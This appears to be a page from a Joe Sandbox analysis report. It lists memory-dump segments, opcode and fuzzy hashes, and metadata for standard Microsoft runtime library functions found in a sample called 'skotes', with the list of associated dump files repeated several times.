Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$EventInternal$AssignBlockingConcurrency::location::_FindNestingPrepareThrowTraceWork
String ID:
API String ID: 1091748018-0
Opcode ID: 805eed6eb74f033eecd949cb5ded73ce0273ff89084911c3d1d43cb927ba640f
Instruction ID: 59653921e0eb8fc9690cc6930f34de3681477fea8019fa50a542cfb0a02c0a37
Opcode Fuzzy Hash: 805eed6eb74f033eecd949cb5ded73ce0273ff89084911c3d1d43cb927ba640f
Instruction Fuzzy Hash: 57412570600254ABCF19EB25C986BBEBB79AF84750F14809DE5069B3C2CFB0AD45C7D0

Function 00AE56AF Relevance: 6.1, APIs: 4, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_InternalDeleteHelper.LIBCONCRT ref: 00AE56F2
_InternalDeleteHelper.LIBCONCRT ref: 00AE5726
Concurrency::details::SchedulerBase::TraceSchedulerEvent.LIBCMT ref: 00AE578B
SafeRWList.LIBCONCRT ref: 00AE579A

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: DeleteHelperInternalScheduler$Base::Concurrency::details::EventListSafeTrace
String ID:
API String ID: 893951542-0
Opcode ID: 071ddf5e1335f08edab59934fd5b02b5e2cb60ae3c9b64e32b67aaa01158286e
Instruction ID: eaa47594b44983239e6860ba593b3b9cdb432bf9ed58567c854387e56ee24b0f
Opcode Fuzzy Hash: 071ddf5e1335f08edab59934fd5b02b5e2cb60ae3c9b64e32b67aaa01158286e
Instruction Fuzzy Hash: 74315736B01610CFCF05AF20D885EAD77A6AF88710F1882B9E9069F355DF70AD058790

Function 00AE2CFC Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00AE2D0F

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID:
API String ID: 3433162309-0
Opcode ID: 78006c62572c36eccdc12d7f3f8b016a22fa6db1780bd27d4f03a0530304dbf9
Instruction ID: 38743aea046f00ee781ea9d24b893072b125b777bf5aacd3ab6296c4b8b943c2
Opcode Fuzzy Hash: 78006c62572c36eccdc12d7f3f8b016a22fa6db1780bd27d4f03a0530304dbf9
Instruction Fuzzy Hash: 29315875A00349DFCF10DF95C9C0BAE7BB9BF44310F1404AADA01AB346DB70A944CBA0

Function 00AF13F5 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00AF13FC
Concurrency::details::_TaskCollectionBase::_GetTokenState.LIBCONCRT ref: 00AF1447
Concurrency::details::_CancellationTokenState::_RegisterCallback.LIBCONCRT ref: 00AF147A
Concurrency::details::_StructuredTaskCollection::_CountUp.LIBCMT ref: 00AF152A

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_$TaskToken$Base::_CallbackCancellationCollectionCollection::_CountH_prolog3_catchRegisterStateState::_Structured
String ID:
API String ID: 2092016602-0
Opcode ID: 97f28620c730b78ae8f904f55dd1281e52619386cea5d26f9852f12884485101
Instruction ID: 2490b94fbc192c6e5439b11eb57f56b2219fe8b40a36c8e1f1f89240ada76602
Opcode Fuzzy Hash: 97f28620c730b78ae8f904f55dd1281e52619386cea5d26f9852f12884485101
Instruction Fuzzy Hash: 663152B1A0060ADBCF14EFA9C5919EDFBB5BF88710B54822DF516A7391CB34A941CB90

Function 00ADBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00ADBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00ADBBE4
_xtime_get.LIBCPMT ref: 00ADBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00ADBC13

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: e2a219761f5fbb254a283edb47c7ff82560c66b1989191326d06c34f26e3a0bc
Instruction ID: ab95692c956fc05a219dd22b5db97d9d4a3806d86b94c4fe839d970226d07c27
Opcode Fuzzy Hash: e2a219761f5fbb254a283edb47c7ff82560c66b1989191326d06c34f26e3a0bc
Instruction Fuzzy Hash: DC210C71A1021AAFDF00EFA4D985AFEB7B9EF08720F91401AF502A7351DB709D419BA0

Function 00AE9C95 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00AE9C9C
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 00AE9CE8
std::bad_exception::bad_exception.LIBCMT ref: 00AE9CFE
std::bad_exception::bad_exception.LIBCMT ref: 00AE9D6A

Memory Dump Source

